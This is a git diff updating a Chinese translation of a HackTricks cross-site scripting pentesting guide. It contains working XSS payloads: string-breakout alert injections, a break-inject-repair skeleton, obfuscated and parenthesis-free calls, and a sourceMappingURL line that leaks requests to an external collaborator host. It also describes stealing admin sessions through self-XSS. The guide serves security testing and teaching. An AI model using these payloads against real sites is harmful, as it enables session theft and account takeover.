diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md
index c5601e13b..f78cfae2b 100644
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@@ -1,83 +1,84 @@
-# XSS (跨站脚本攻击)
+# XSS (Cross Site Scripting)
{{#include ../../banners/hacktricks-training.md}}
-## 方法论
+## Methodology
-1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射** 或 **被 JS 代码使用**。
-2. **找到反射/使用的上下文**。
-3. 如果 **被反射**:
-1. 检查 **你可以使用哪些符号**,并根据此准备有效载荷:
-1. 在 **原始 HTML** 中:
+1. 检查 **任何你可控制的值** (_parameters_, _path_, _headers_?, _cookies_?) 是否被**反射**到 HTML 中或被 **JS** 代码**使用**。
+2. **找出被反射/使用的上下文**。
+3. 如果是 **reflected**
+1. 检查 **你可以使用哪些符号**,并根据这些准备 payload:
+1. 在 **raw HTML** 中:
1. 你能创建新的 HTML 标签吗?
2. 你能使用支持 `javascript:` 协议的事件或属性吗?
3. 你能绕过保护吗?
-4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_、_VueJS_、_Mavo_...) 解释,你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。
-5. 如果你不能创建执行 JS 代码的 HTML 标签,你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/index.html) 吗?
+4. HTML 内容是否被任何客户端 JS 引擎(_AngularJS_, _VueJS_, _Mavo_...)解释,你可以滥用 [**Client Side Template Injection**](../client-side-template-injection-csti.md)。
+5. 如果你不能创建执行 JS 的 HTML 标签,能否滥用 [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
2. 在 **HTML 标签内**:
-1. 你能退出到原始 HTML 上下文吗?
-2. 你能创建新的事件/属性来执行 JS 代码吗?
-3. 你被困的属性是否支持 JS 执行?
+1. 你能退出到 raw HTML 上下文吗?
+2. 你能创建新的事件/属性来执行 JS 吗?
+3. 你被困住的属性是否支持 JS 执行?
4. 你能绕过保护吗?
-3. 在 **JavaScript 代码中**:
+3. 在 **JavaScript 代码** 内:
1. 你能逃逸 ``** 标签之间,或者在 `.js` 文件中,或在使用 **`javascript:`** 协议的属性中:
+在这种情况下,你的输入被反射在 HTML 页面中的 **``** 标签之间、一个 `.js` 文件内部,或在使用 **`javascript:`** 协议的属性内:
-- 如果反映在 **``** 标签之间,即使您的输入在任何类型的引号内,您可以尝试注入 `` 并从此上下文中逃脱。这是有效的,因为 **浏览器会首先解析 HTML 标签** 然后解析内容,因此,它不会注意到您注入的 `` 标签在 HTML 代码中。
-- 如果反映 **在 JS 字符串内**,并且最后的技巧不起作用,您需要 **退出** 字符串,**执行** 您的代码并 **重构** JS 代码(如果有任何错误,它将不会被执行):
+- 如果反射在 **``** 标签之间,即使你的输入位于任何类型的引号内,你也可以尝试注入 `` 并从该上下文中逃出。 这是因为 **浏览器会先解析 HTML 标签** 然后解析内容,因此不会注意到你注入的 `` 标签位于 HTML 代码内部。
+- 如果反射在 **JS 字符串内部** 并且上一个技巧无效,你需要**退出**该字符串、**执行**你的代码并**重建**JS 代码(如果有任何错误,它将不会被执行:
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
-- 如果反映在模板字面量中,您可以使用 `${ ... }` 语法 **嵌入 JS 表达式**: `` var greetings = `Hello, ${alert(1)}` ``
-- **Unicode 编码** 可用于编写 **有效的 javascript 代码**:
+- 如果反射在 template literals 中,你可以使用 `${ ... }` 语法**嵌入 JS 表达式**: `` var greetings = `Hello, ${alert(1)}` ``
+- **Unicode encode** 可用于编写 **valid javascript code**:
```javascript
alert(1)
alert(1)
@@ -85,8 +86,8 @@ alert(1)
```
#### Javascript Hoisting
-Javascript Hoisting 指的是**在使用后声明函数、变量或类的机会,因此您可以利用使用未声明的变量或函数的 XSS 场景。**\
-**有关更多信息,请查看以下页面:**
+Javascript Hoisting 指的是可以在使用后再声明函数、变量或类的机会,因此你可以在 XSS 使用未声明的变量或函数时进行利用。\
+**查看更多信息请参阅以下页面:**
{{#ref}}
@@ -95,19 +96,19 @@ js-hoisting.md
### Javascript Function
-一些网页有端点**接受作为参数的要执行的函数名称**。在实际中常见的例子是类似于:`?callback=callbackFunc`。
+许多网页有一些 endpoints 会**接受作为参数的要执行函数名**。在实际中常见的例子像:`?callback=callbackFunc`。
-找出用户直接提供的内容是否试图被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台中查找错误,例如:
+测试用户直接提供的某些值是否会被执行的好方法是**修改该参数值**(例如改为 'Vulnerable'),并在控制台中查看是否有如下错误:
.png>)
-如果它是脆弱的,您可能能够**触发一个警报**,只需发送值:**`?callback=alert(1)`**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
+如果存在漏洞,你可能能够仅通过发送该值就**触发一个 alert**:**`?callback=alert(1)`**。不过,这类端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
-然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用有效字符**访问 DOM 中的任何元素**:
+然而,即使在该限制下仍然可以执行某些操作。这是因为你可以使用这些合法字符来**访问 DOM 中的任意元素**:
.png>)
-一些有用的函数:
+一些有用的函数包括:
```
firstElementChild
lastElementChild
@@ -115,11 +116,12 @@ nextElementSibiling
lastElementSibiling
parentElement
```
-您还可以尝试直接**触发 Javascript 函数**:`obj.sales.delOrders`。
+你也可以尝试直接**触发 Javascript 函数**:`obj.sales.delOrders`。
-然而,通常执行指定函数的端点是没有太多有趣 DOM 的端点,**同一源中的其他页面**将具有**更有趣的 DOM**以执行更多操作。
+但是,通常执行该函数的端点并没有太多有趣的 DOM,来自同源的其他页面会有更有趣的 DOM 来执行更多操作。
+
+因此,为了在不同的 DOM 中**滥用该漏洞**,开发了 **Same Origin Method Execution (SOME)** 利用方法:
-因此,为了**在不同 DOM 中滥用此漏洞**,开发了**同源方法执行 (SOME)** 利用:
{{#ref}}
some-same-origin-method-execution.md
@@ -127,36 +129,39 @@ some-same-origin-method-execution.md
### DOM
-有**JS 代码**不安全地使用一些**由攻击者控制的数据**,如 `location.href`。攻击者可以利用这一点执行任意 JS 代码。
+存在使用**不安全**的**JS code**来利用某些**由攻击者控制的数据**(例如 `location.href`)。攻击者可以滥用此来执行任意 JS 代码。
+
{{#ref}}
dom-xss.md
{{#endref}}
-### **通用 XSS**
+### **Universal XSS**
-这种类型的 XSS 可以在**任何地方**找到。它们不仅依赖于对 Web 应用程序的客户端利用,还依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取****任意****文件**在客户端和服务器上,等等。\
+这种类型的 XSS 可以出现在**任何地方**。它们不仅依赖于对 web 应用的客户端利用,而是依赖于**任何****上下文**。此类**任意 JavaScript 执行**甚至可以被滥用以获取 **RCE**、在客户端和服务器上**读取任意文件**,等等。
一些**示例**:
+
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
+
{{#ref}}
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
{{#endref}}
-## WAF 绕过编码图像
+## WAF bypass encoding image
-.jpg>)
+.jpg>)
-## 在原始 HTML 中注入
+## Injecting inside raw HTML
-当您的输入在**HTML 页面中被反射**或您可以在此上下文中转义并注入 HTML 代码时,您需要做的**第一**件事是检查您是否可以滥用 `<` 来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML 编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
-对于这些情况,还**请记住** [**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
-_**注意:HTML 注释可以使用\*\***\***\*`-->`\*\***\***\*或\*\***`--!>`\*\**关闭_
+当你的输入被反映在 HTML 页面内,或你可以在该上下文中转义并注入 HTML 代码时,首先要做的是检查是否可以滥用 `<` 来创建新标签:尝试使该字符被**反射**,并检查它是否被**HTML 编码**、**删除**,还是**原样反射**。只有在最后一种情况下你才能利用该问题。
+对于这类情况,也请记住 [**Client Side Template Injection**](../client-side-template-injection-csti.md)。
+_**注意:HTML 注释可以使用 `-->` 或 `--!>` 关闭**_
-在这种情况下,如果没有使用黑名单/白名单,您可以使用如下有效负载:
+在这种情况下,如果没有使用黑/白名单过滤,你可以使用类似的 payloads:
```html
`标签之间,或在可以执行JS代码的HTML事件之间,或在接受`javascript:`协议的属性之间。
+在这些情况下,你的 **input** 会被 **反射到 JS 代码中**,比如在 `.js` 文件内、`` 标签之间、在可以执行 JS 的 HTML 事件中,或在接受 `javascript:` 协议的属性中。
-### 转义\`中,您可以轻松地**转义关闭`` 中,你可以很容易地**转义以闭合 `
```
-注意,在这个例子中我们**甚至没有关闭单引号**。这是因为**HTML 解析首先由浏览器执行**,这涉及到识别页面元素,包括脚本块。解析 JavaScript 以理解和执行嵌入的脚本仅在之后进行。
+注意在这个例子中我们 **甚至都没有关闭单引号**。这是因为 **HTML 解析首先由浏览器执行**,该过程涉及识别页面元素,包括 script 块。随后才会对 JavaScript 进行解析以理解并执行嵌入的脚本。
### 在 JS 代码内部
-如果 `<>` 被清理,你仍然可以**转义字符串**,在你的输入**所在的位置**并**执行任意 JS**。修复 JS 语法是很重要的,因为如果有任何错误,JS 代码将不会被执行:
+如果 `<>` 被过滤,你仍然可以在输入被**放置**的位置**对字符串进行转义**并**执行任意 JS**。重要的是要**修复 JS 语法**,因为如果有任何错误,JS 代码将不会被执行:
```
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
```
+#### JS-in-JS 字符串中断 → inject → 修复 模式
+
+当用户输入落在一个带引号的 JavaScript 字符串中(例如,服务器端回显到内联脚本中)时,你可以终止该字符串、inject 代码,并修复语法以保持解析有效。通用骨架:
+```
+" // end original string
+; // safely terminate the statement
+ // attacker-controlled JS
+; a = " // repair and resume expected string/statement
+```
+当易受攻击的参数被反射到 JS 字符串中时的示例 URL 模式:
+```
+?param=test";;a="
+```
+This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords.
+
### 模板字面量 \`\`
-为了构造 **字符串**,除了单引号和双引号,JS 还接受 **反引号** **` `` `**。这被称为模板字面量,因为它们允许使用 `${ ... }` 语法 **嵌入 JS 表达式**。\
-因此,如果你发现你的输入在使用反引号的 JS 字符串中被 **反射**,你可以利用语法 `${ ... }` 来执行 **任意 JS 代码**:
+In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\
+Therefore, if you find that your input is being **reflected** inside a JS string that is using backticks, you can abuse the syntax `${ ... }` to execute **arbitrary JS code**:
-这可以通过以下方式 **滥用**:
+This can be **abused** using:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@@ -507,20 +527,36 @@ return loop
}
loop``
```
-### 编码代码执行
+### 编码的 code 执行
```html
This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
-**JavaScript 新行(来自** [**JavaScript 新行**](#javascript-new-lines) **技巧)**
+**JavaScript new lines (来自** [**JavaScript new line**](#javascript-new-lines) **技巧)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@@ -578,7 +614,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
```
-**JavaScript 空格**
+**JavaScript 空白字符**
```javascript
log=[];
function funct(){}
@@ -595,14 +631,14 @@ console.log(log)
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
```
-**在注释中的Javascript**
+**Javascript 在注释中**
```javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
```
-**没有括号的JavaScript**
+**JavaScript 无需括号**
```javascript
// By setting location
window.location='javascript:alert\x281\x29'
@@ -681,7 +717,7 @@ try{throw onerror=alert}catch{throw 1}
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
-**任意函数(alert)调用**
+**任意函数 (alert) 调用**
```javascript
//Eval like functions
eval('ale'+'rt(1)')
@@ -741,62 +777,64 @@ top['al\x65rt'](1)
top[8680439..toString(30)](1)
```
-## **DOM 漏洞**
+## **DOM vulnerabilities**
+
+存在 **JS code** 使用了由攻击者控制的**不安全数据**,例如 `location.href`。攻击者可以滥用这些数据来执行任意 JS 代码。\
+**由于对** [**DOM vulnerabilities**](dom-xss.md) **的说明较长,已将其移至该页面:**
-有 **JS 代码** 使用 **由攻击者控制的不安全数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
-**由于对** [**DOM 漏洞的解释扩展,已移至此页面**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
-在这里,您将找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\
-此外,请不要忘记在提到的帖子末尾,您可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
+在那里你会找到关于 **DOM vulnerabilities 是什么、如何被触发以及如何利用它们** 的详细解释。\
+另外,别忘了在上述文章的末尾可以找到关于 [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) 的说明。
-### 升级 Self-XSS
+### Upgrading Self-XSS
### Cookie XSS
-如果您可以通过在 cookie 中发送有效负载来触发 XSS,这通常是自我 XSS。然而,如果您发现一个 **易受 XSS 攻击的子域名**,您可以利用这个 XSS 在整个域中注入一个 cookie,从而在主域或其他子域(易受 cookie XSS 攻击的那些)中触发 cookie XSS。为此,您可以使用 cookie tossing 攻击:
+如果你能通过将 payload 放入 cookie 来触发 XSS,这通常是 self-XSS。然而,如果你发现一个 **vulnerable subdomain to XSS**,你可以滥用该 XSS 向整个域注入 cookie,从而在主域或其他子域(那些对 cookie XSS 易受攻击的子域)触发 cookie XSS。为此你可以使用 cookie tossing attack:
+
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
{{#endref}}
-您可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到对该技术的极佳利用。
+你可以在 [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中看到对此技术的优秀滥用示例。
-### 将您的会话发送给管理员
+### Sending your session to the admin
-也许用户可以与管理员共享他的个人资料,如果自我 XSS 在用户的个人资料中,而管理员访问了该资料,他将触发该漏洞。
+可能某个用户可以与 管理员 分享他的 profile,如果 self XSS 存在于该用户的 profile 中且 管理员 访问它,就会触发该漏洞。
-### 会话镜像
+### Session Mirroring
-如果您发现一些自我 XSS,并且网页有 **管理员的会话镜像**,例如允许客户请求帮助,为了帮助您,管理员将看到您在会话中看到的内容,但从他的会话中。
+如果你发现了某些 self XSS 并且网页对 管理员 有 **session mirroring for administrators**,例如允许客户寻求帮助,为了帮助你 管理员 会看到你在 session 中看到的内容,但是在他的 session 中。
-您可以让 **管理员触发您的自我 XSS** 并窃取他的 cookies/会话。
+你可以让 管理员 触发你的 self XSS 并窃取他的 cookies/session。
-## 其他绕过
+## Other Bypasses
-### 规范化 Unicode
+### Normalised Unicode
-您可以检查 **反射值** 是否在服务器(或客户端)中 **进行 Unicode 规范化**,并利用此功能绕过保护。 [**在这里找到一个示例**](../unicode-injection/index.html#xss-cross-site-scripting)。
+你可以检查 **reflected values** 是否在服务器端(或客户端)被 **unicode normalized**,并滥用此功能来绕过防护。 [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
-### PHP FILTER_VALIDATE_EMAIL 标志绕过
+### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
">